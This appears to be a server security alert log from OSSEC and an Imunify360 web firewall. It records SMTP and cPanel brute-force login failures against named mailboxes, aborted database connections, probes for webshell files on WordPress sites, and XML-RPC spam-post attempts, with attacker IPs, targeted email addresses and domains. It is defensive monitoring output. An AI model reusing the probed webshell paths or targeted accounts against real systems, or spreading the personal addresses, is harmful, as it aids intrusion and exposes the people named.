name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.162.230.13
country_id: 1210997
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/shoplist/merit/29/images/banner3.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.92.202
country_id: 1269750
description:
2026-02-01 14:13:19 dovecot_login authenticator failed for H=([27.123.92.202]) [27.123.92.202]:53860: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:13:14 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:56130: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:13:20 dovecot_login authenticator failed for H=(WKaJQa) [158.94.208.175]:55310: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.29.178.118
country_id: 2510769
description:
2026-02-01 14:13:37 dovecot_login authenticator failed for H=118.red-80-29-178.dynamicip.rima-tde.net [80.29.178.118]:43574: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/themes/images/Radioactive_Waste_Management.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 14:14:50 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:45209: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:14:26 dovecot_login authenticator failed for H=(heqF0dfA) [158.94.208.175]:50012: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:14:29 dovecot_login authenticator failed for H=(zLjcqziqH) [178.16.54.22]:57088: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-02-01 14:14:39 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:5765: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.76.151.3
country_id: 3996063
domain: pftfood.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/pftfood.com/ HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:14:06 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62411: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 14:15:32 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:36420: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:15:23 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:36082: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:15:23 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54461: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.169.148.186
country_id: 2963597
domain: mail.lnlfireprotection.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/lnlfireprotectio/public_html/wp-admin||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 14:15:05 +0800] info [cpaneld] 185.204.54.153 - xami "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user xami (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:15:06 dovecot_login authenticator failed for H=(Bh2dRjR) [178.16.54.22]:62781: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 14:15:54 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:57663: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:15:35 dovecot_login authenticator failed for H=(Xl8tzpKF) [158.94.208.175]:51616: 535 Incorrect authentication data (set_id=munch)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.191.65.192
country_id: 3865483
domain: fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/fkr.com.my/shoplist/merit/29/images/banner2.jpg HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 52.169.148.186
country_id: 2963597
domain: mail.lnlfireprotection.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/lnlfireprotectio/public_html/wp-includes||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:16:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57672: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:16:37 dovecot_login authenticator failed for H=(0oS97NPOq) [158.94.208.175]:55485: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:16:46 dovecot_login authenticator failed for H=(UfyR04Vr) [178.16.54.22]:56117: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:17:08 dovecot_login authenticator failed for H=(6ZEXTU) [158.94.208.175]:58472: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:17:10 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61847: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-02-01 14:17:21 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:58252: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:17:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:37130: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.227
country_id: 1269750
description:
2026-02-01 14:17:43 dovecot_login authenticator failed for H=(nsg-corporate-227.230.187.122.airtel.in) [122.187.230.227]:47322: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 14:17:52 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:40544: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-02-01 14:17:50 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:37924: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:17:51 dovecot_login authenticator failed for H=(N5ok6hQqV) [178.16.54.22]:60531: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:18:14 dovecot_login authenticator failed for H=(z7E4CBebJ0) [158.94.208.175]:62237: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:18:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62014: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:18:23 dovecot_login authenticator failed for H=(2o395xljqx) [178.16.54.22]:51207: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 14:18:30 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:39528: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:18:37 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62014: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:19:32 dovecot_login authenticator failed for H=(2o3gWdHqMm) [178.16.54.22]:54098: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:19:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:42824: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.187.2
country_id: 1269750
description:
2026-02-01 14:19:47 dovecot_login authenticator failed for H=(nsg-corporate-2.187.185.122.airtel.in) [122.185.187.2]:52554: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.98
country_id: 1269750
description:
2026-02-01 14:19:58 dovecot_login authenticator failed for H=([128.185.253.98]) [128.185.253.98]:42274: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:19:07 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49763: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:19:17 dovecot_login authenticator failed for H=(95kczQk3mr) [158.94.208.175]:49910: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:20:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53519: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:20:10 dovecot_login authenticator failed for H=(zGdQn5C) [158.94.208.175]:59284: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.113.155.132
country_id: 690791
description:
2026-02-01 14:21:20 dovecot_plain authenticator failed for H=(duellic) [176.113.155.132]:50427: 535 Incorrect authentication data (set_id=kendek@kendek.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-02-01 14:21:37 226707 [Warning] Aborted connection 226707 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:21:49 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52846: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 180.195.72.130
country_id: 1694008
domain: stillman.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:67542.stillman.my||ServerName:stillman.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2f15a59c212bdc01b2e75f9861804d89aaa6f098||Title:0xad2bd96b||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:21:14 dovecot_login authenticator failed for H=(5cKbJW9o1) [158.94.208.175]:64765: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:21:17 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:61982: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:22:08 dovecot_login authenticator failed for H=(IPX0WFN2d) [178.16.54.22]:64283: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:22:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51085: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:22:23 dovecot_login authenticator failed for H=(2xP6CitYWE) [158.94.208.175]:62498: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:23:21 dovecot_login authenticator failed for H=(nHFNunev1) [178.16.54.22]:63273: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:23:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50535: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-02-01 14:23:48 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:57772: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:23:50 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50535: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.194.142.167
country_id: 1814991
description:
2026-02-01 14:23:51 dovecot_login authenticator failed for H=([112.194.142.167]) [112.194.142.167]:42262: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:24:01 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:52658: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:23:20 dovecot_login authenticator failed for H=(grdSlei9O) [158.94.208.175]:57395: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.207.33.248
country_id: 6290252
description:
2026-02-01 14:24:12 dovecot_login authenticator failed for H=([109.207.33.248]) [109.207.33.248]:40872: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:24:20 dovecot_login authenticator failed for H=(I4fxistl) [158.94.208.175]:49391: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:24:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56881: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:24:51 dovecot_login authenticator failed for H=(CJtOLtD) [178.16.54.22]:61990: 535 Incorrect authentication data (set_id=hanafi.vpb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.246.238
country_id: 1814991
description:
2026-02-01 14:24:07 dovecot_login authenticator failed for H=([218.21.246.238]) [218.21.246.238]:52382: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:25:16 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64533: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:25:18 dovecot_login authenticator failed for H=(DFMVQR) [158.94.208.175]:50792: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:25:28 dovecot_login authenticator failed for H=(vHjIxcD7s) [178.16.54.22]:61322: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:26:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54354: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:26:43 dovecot_login authenticator failed for H=(y4EPceA) [178.16.54.22]:57543: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:26:12 dovecot_login authenticator failed for H=(CZ0Uki1r) [146.70.146.50]:52666: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:26:38 dovecot_login authenticator failed for H=(TilacizXr) [178.16.52.139]:54466: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:26:09 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34852: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:26:12 dovecot_login authenticator failed for H=(4dQB6BHB) [158.94.208.175]:61132: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:27:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60949: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 163.61.67.100
country_id: 1269750
domain: stonewld.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:17194.stonewld.com.my||ServerName:stonewld.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c0095c6f38bfda3f1ae0df7f43df6a15fa8d3e50||Title:0x28b31f96||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:27:05 dovecot_login authenticator failed for H=(L44Ak3hPco) [178.16.52.139]:52009: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.245
country_id: 1814991
description:
2026-02-01 14:27:31 dovecot_login authenticator failed for H=([111.61.176.245]) [111.61.176.245]:54952: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:27:09 dovecot_login authenticator failed for H=(kl0as5i) [178.16.54.22]:52998: 535 Incorrect authentication data (set_id=enquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.17
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:27:15 dovecot_login authenticator failed for H=(GIvb7dS) [158.94.208.175]:53670: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:27:17 dovecot_login authenticator failed for H=(Mt0sniklo) [146.70.146.50]:61808: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-02-01 14:27:04 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:57678: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:28:04 dovecot_login authenticator failed for H=(u3Q2u4) [158.94.208.175]:59575: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:28:07 dovecot_login authenticator failed for H=(XK5mKUDP) [178.16.54.22]:60580: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 14:28:16 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34520: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:28:19 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:55702: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/img/img/img/img/demos/news.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.204.54.153
country_id: 6252001
description:
[2026-02-01 14:28:42 +0800] info [cpaneld] 185.204.54.153 - assm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user assm (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 14:28:52 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:34268: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-02-01 14:28:54 226973 [Warning] Aborted connection 226973 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:28:04 dovecot_login authenticator failed for H=(lNJRmSj9J) [178.16.52.139]:54473: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 14:28:27 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:45368: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:29:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62077: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 14:29:17 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62077: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 14:29:17 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:47934: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.30.161.197
country_id: 690791
description:
2026-02-01 14:29:22 dovecot_login authenticator failed for H=(46.30.161.197.access.ipnet.ua) [46.30.161.197]:45776: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.146.179
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/news-n-events/img/demos/img/img/img/img/index.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 14:29:12 dovecot_login authenticator failed for H=(Tnm2B7yz) [158.94.208.175]:51444: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:29:48 dovecot_login authenticator failed for H=(sVdyttLCu1) [146.70.146.50]:57856: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.239.19.241
country_id: 2017370
description:
2026-02-01 14:29:38 dovecot_plain authenticator failed for H=(nerated) [195.239.19.241]:47632: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.195.150
country_id: 290557
description:
2026-02-01 14:29:10 dovecot_login authenticator failed for H=([91.73.195.150]) [91.73.195.150]:54628: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 14:29:13 dovecot_login authenticator failed for H=(cuRVDGVv9) [178.16.54.22]:65488: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 14:29:18 dovecot_login authenticator failed for H=(3zkRpgfMI) [178.16.52.139]:62457: 535 Incorrect authentication data (set_id=info@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 14:30:02 dovecot_login authenticator failed for H=(EzJljQC) [146.70.146.50]:59973: 535 Incorrect authentication data (set_id=inquiries@ktlog.com.my)


plugin: ossec
rule: 13001
